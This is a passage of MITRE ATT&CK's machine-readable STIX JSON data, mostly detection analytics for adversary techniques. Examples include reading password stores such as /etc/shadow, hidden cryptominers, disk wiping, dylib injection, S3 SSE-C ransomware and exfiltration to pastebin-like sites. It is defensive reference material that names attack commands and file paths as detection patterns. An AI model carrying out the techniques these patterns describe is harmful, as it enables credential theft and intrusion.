group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1dad5aa4-4bb5-45e4-9e42-55d40003cfa6",
                    "name": "Certificate",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f",
                    "name": "Malware Repository",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e",
                    "name": "Internet Scan",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3",
                    "name": "Malware Repository",
                    "channel": "None"
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
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                    "external_id": "AN0508"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
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            "description": "Detection of group enumeration using commands like 'id', 'groups', or 'getent group', often followed by privilege escalation or SSH lateral movement.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
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            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CommandLine",
                    "description": "Variations of enumeration commands tailored to different Linux distros (e.g., 'getent group', 'cut -d' in /etc/group parsing)."
                },
                {
                    "field": "TTYSession",
                    "description": "TTY context or source terminal (remote shell vs local login) to reduce noise."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--56a814a9-2b6b-4fcc-a530-e9ca62faaa17",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0501#AN1383",
                    "external_id": "AN1383"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1383",
            "description": "Detects non-standard compilation activity via Xcode CLI tools or bundled GCC/MONO packages writing new executable files and executing them outside dev environments (e.g., user Downloads folder).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process activity, exec events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "macos:osquery",
                    "channel": "file_events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "macos:unifiedlog",
                    "channel": "networkd or socket"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CompilerInvocationPattern",
                    "description": "Detect calls to `xcodebuild`, `clang`, or `/Applications/Mono.app/...` from non-admin users"
                },
                {
                    "field": "OutputBinaryPath",
                    "description": "Monitor for output files in user-writable paths (e.g., `~/Library/Caches`, `~/Downloads`)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--571b10ce-fb7d-492e-b05a-23649ae14148",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0430#AN1199",
                    "external_id": "AN1199"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1199",
            "description": "Detects access to known password store files (e.g., /etc/shadow, GNOME Keyring, KWallet, browser credential databases). Monitors anomalous process read attempts and suspicious API calls that attempt to extract stored credentials.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "open/read"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:EXECVE",
                    "channel": "execve"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredFiles",
                    "description": "Paths to password storage files (e.g., /etc/shadow, ~/.local/share/keyrings/)"
                },
                {
                    "field": "SuspiciousCommands",
                    "description": "Process or command-line keywords that indicate password extraction attempts"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--57595eb2-4d20-4d99-86b3-82064b3566cf",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0540#AN1491",
                    "external_id": "AN1491"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1491",
            "description": "Persistent or background daemons (e.g., plist or launchd jobs) spawning high-CPU processes like xmrig or cpuminer. Outbound encrypted traffic to IPs/domains commonly used by mining proxies.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "launchd or cron spawning mining binaries"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "macos:unifiedlog",
                    "channel": "Persistent outbound connections with consistent periodicity"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "launchd.plist_label",
                    "description": "May be disguised with benign-looking names."
                },
                {
                    "field": "DestinationDomain",
                    "description": "Varying mining pool or obfuscated destination."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--575a9c01-6dac-4513-86ca-e80b6e485212",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0297#AN0829",
                    "external_id": "AN0829"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0829",
            "description": "Abnormal invocation of diskutil or asr that modifies partition tables or initializes raw devices. Monitor for IOKit system calls targeting disk headers or EFI boot sectors, correlated with elevated privileges.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "diskutil partitionDisk or eraseVolume with partition scheme modifications"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08",
                    "name": "macos:unifiedlog",
                    "channel": "IOKit raw disk write to EFI/boot partition sectors"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AdminToolWhitelist",
                    "description": "System provisioning workflows may legitimately re-partition disks; whitelist by context."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--578c821c-f8e3-45e7-a9b4-9aed6c84309a",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0564#AN1560",
                    "external_id": "AN1560"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1560",
            "description": "Processes executing binaries named after legitimate system utilities (e.g., net.exe, findstr.exe, python.exe) from non-standard or application-specific directories, combined with file creation or modification events for such binaries. Defender correlates file writes in vulnerable directories, process execution paths inconsistent with baseline system paths, and abnormal parent-child relationships in process lineage.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=15"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SuspiciousBinaryList",
                    "description": "Common system utilities often hijacked (e.g., net.exe, cmd.exe, powershell.exe, python.exe)."
                },
                {
                    "field": "MonitoredDirectories",
                    "description": "Directories where executables should not normally be written (e.g., application folders, user profile subdirs)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between file creation and subsequent process execution."
                },
                {
                    "field": "ParentProcessBaseline",
                    "description": "Expected parent processes for critical system binaries, deviations may indicate hijacking."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--57a547e1-1086-427c-9ea8-59059dec1938",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0549#AN1519",
                    "external_id": "AN1519"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1519",
            "description": "CLI-based export of private key material (e.g., 'crypto pki export') with anomalous user session or AAA role escalation.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "networkdevice:syslog",
                    "channel": "Detected CLI command to export key material"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CLICommandMatch",
                    "description": "Regex for export commands (e.g., crypto pki export, export ssh-key)"
                },
                {
                    "field": "AAAUserContext",
                    "description": "Source username or role performing export \u2014 may tune for known admins"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--57d8fd27-9af5-4d01-9d1a-fdde8ec0c902",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0215#AN0606",
                    "external_id": "AN0606"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0606",
            "description": "Encryption of cloud storage objects (e.g., S3 buckets) via Server-Side Encryption (SSE-C) or by replacing objects with encrypted variants. May include API patterns like PutObject with SSE-C headers.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44",
                    "name": "AWS:CloudTrail",
                    "channel": "PutObject (with SSE-C), UploadPart (SSE-C)"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SSEHeader",
                    "description": "SSE-C headers indicate attacker-controlled encryption keys."
                },
                {
                    "field": "AffectedBucket",
                    "description": "Prioritize logs, backups, or shared document storage buckets."
                },
                {
                    "field": "UserAgent",
                    "description": "Detect scripted automation vs console-based API behavior."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5880eb25-eec5-4b40-a3fa-6a3c633a3e56",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0821#AN1953",
                    "external_id": "AN1953"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1953",
            "description": "Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\nMonitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.\nMonitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "Application Log",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "Network Traffic",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "Network Traffic",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5882d2ff-289e-454d-9146-81306c154be3",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0040#AN0113",
                    "external_id": "AN0113"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0113",
            "description": "Detects adversary activity that removes persistence artifacts such as services, registry keys, scheduled tasks, user accounts, and binaries through commands like `sc delete`, `schtasks /delete`, or `reg delete`.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d6257b8e-869c-41c0-8731-fdca40858a91",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4726, 4657"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3",
                    "name": "WinEventLog:TaskScheduler",
                    "channel": "EventCode=106"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4657"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetRegistryPathRegex",
                    "description": "Filters known persistence keys like Run/RunOnce, Image File Execution Options"
                },
                {
                    "field": "DeletedScheduledTaskName",
                    "description": "Monitors known or suspicious task names deleted post-persistence"
                },
                {
                    "field": "DeletedAccountGroupScope",
                    "description": "Focuses on highly privileged or recently created accounts"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--58a609cb-b266-4a1a-a40f-9e4cd5d591ce",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0284#AN0790",
                    "external_id": "AN0790"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0790",
            "description": "ESXi services (vmx, hostd) generating outbound HTTPS POST requests to text storage sites. Defender perspective: anomalous datastore or log reads chained with traffic to pastebin-like destinations.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "esxi:hostd",
                    "channel": "datastore/log file access"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "esxi:vmkernel",
                    "channel": "HTTPS POST connections to pastebin-like domains"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DatastoreExfilThreshold",
                    "description": "Threshold of bytes exfiltrated from ESXi datastore files."
                },
                {
                    "field": "ApprovedDestinations",
                    "description": "Whitelist of domains approved for API communication to prevent false positives."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--58bed5f5-6ef5-4558-9ac9-b58f8aa9888c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0310#AN0865",
                    "external_id": "AN0865"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0865",
            "description": "Detects unauthorized additions of users or machine accounts to privileged local or domain groups (e.g., Administrators, Remote Desktop Users).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4728, 4729, 4732, 4733, 4756, 4757"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetGroup",
                    "description": "Set to detect high-privileged groups like 'Administrators', 'Domain Admins', or 'Remote Desktop Users'"
                },
                {
                    "field": "TimeWindow",
                    "description": "Restrict detections to business hours or approved maintenance windows"
                },
                {
                    "field": "UserContext",
                    "description": "Filter out known automated processes or provisioning systems"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--58e73108-657e-42ce-8dad-4edc968a2b20",
            "created": "2025-10-21T15:10:28.402Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0233#AN0647",
                    "external_id": "AN0647"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0647",
            "description": "Defenders may observe adversary attempts to collect or export full device configurations by detecting unusual SNMP queries, Smart Install (SMI) activity, or CLI/API commands that request running or startup configuration dumps. Correlated behaviors include high-volume read requests for sensitive OIDs, repeated use of 'show running-config' or equivalent commands from untrusted IPs, or unexpected TFTP/SCP/FTP transfers containing configuration files. These behaviors often appear in sequence: anomalous authentication or privilege escalation, followed by bulk configuration retrieval and outbound transfer.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "networkdevice:syslog",
                    "channel": "Failed and successful logins to network devices outside approved admin IP ranges"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "networkdevice:cli",
                    "channel": "Execution of commands like 'show running-config', 'copy running-config', or 'export config'"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Outbound SCP, TFTP, or FTP sessions carrying configuration file content"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "snmp:access",
                    "channel": "GETBULK/GETNEXT requests for OIDs associated with configuration parameters"
                }
            ],
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                {
                    "field": "AuthorizedAdminIPs",
                    "description": "Known trusted IP addresses permitted to execute configuration dump commands."
                },
                {
                    "field": "NormalConfigExportRate",
                    "description": "Baseline frequency of legitimate configuration exports; anomalies above threshold may indicate malicious activity."
                },
                {
                    "field": "AllowedTransferProtocols",
                    "description": "Expected transfer methods (e.g., SCP vs. TFTP). Unexpected use of weak protocols may indicate exfiltration."
                },
                {
                    "field": "TimeWindow",
                    "description": "Normal maintenance windows for authorized configuration exports; activity outside these windows may be suspicious."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5907bfc2-a5d6-4ff1-bba8-8b94c9835ed6",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0435#AN1210",
                    "external_id": "AN1210"
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            "name": "Analytic 1210",
            "description": "Detection centers on DYLD_INSERT_LIBRARIES and DYLD_LIBRARY_PATH abuse. Defender perspective: monitor for modification of these environment variables in shell or plist files, file creation of dylibs in user-controlled paths, and correlation of environment variable usage with unexpected module loads by user applications. Suspicious indicators include processes with DYLD_INSERT_LIBRARIES set, execution of applications loading untrusted dylibs, and anomalies in module load history.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "execution of process with DYLD_INSERT_LIBRARIES set"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:unifiedlog",
                    "channel": "create/modify dylib in monitored directories"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "macos:unifiedlog",
                    "channel": "loading of unexpected dylibs compared to historical baselines"
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                {
                    "field": "WatchedEnvVars",
                    "description": "macOS linker variables like DYLD_INSERT_LIBRARIES. Tunable to development environments where use may be expected."
                },
                {
                    "field": "BaselineDylibs",
                    "description": "Known dylibs typically loaded by apps. Deviations highlight potential hijacking."
                },
                {
                    "field": "MonitoredDirectories",
                    "description": "Locations where dylibs are monitored for tampering (e.g., /Applications, /System/Library, /tmp)."
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--59354e08-ed82-4b95-99c5-aed3996473e1",
            "created": "2025-10-21T15:10:28.402Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0063#AN0174",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0174",
            "description": "Detects Python execution from non-standard user contexts or cron jobs that invoke outbound traffic, access sensitive files, or perform process injection (e.g., ptrace or /proc memory maps).",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd",
                    "name": "linux:syslog",
                    "channel": "/var/log/syslog"
                }
            ],
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                {
                    "field": "ScriptDir",
                    "description": "Script invoked from /tmp, /var/tmp, or .hidden/ folders."
                },
                {
                    "field": "ScheduledContext",
                    "description": "Execution from user cron or systemd timers outside of approved scripts."
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                {
                    "field": "NetworkActivity",
                    "description": "Python performing HTTP/HTTPS without package updates."
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            ],
            "x_mitre_deprecated": false
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        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5935bda3-8d4d-44b4-aca4-8b40cf45f686",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0035#AN0102",
                    "external_id": "AN0102"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0102",
            "description": "Scripting engines (e.g., osascript, Python) initiating HTTPS requests to social media or content-sharing platforms, paired with automated response handling indicative of two-way communication.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
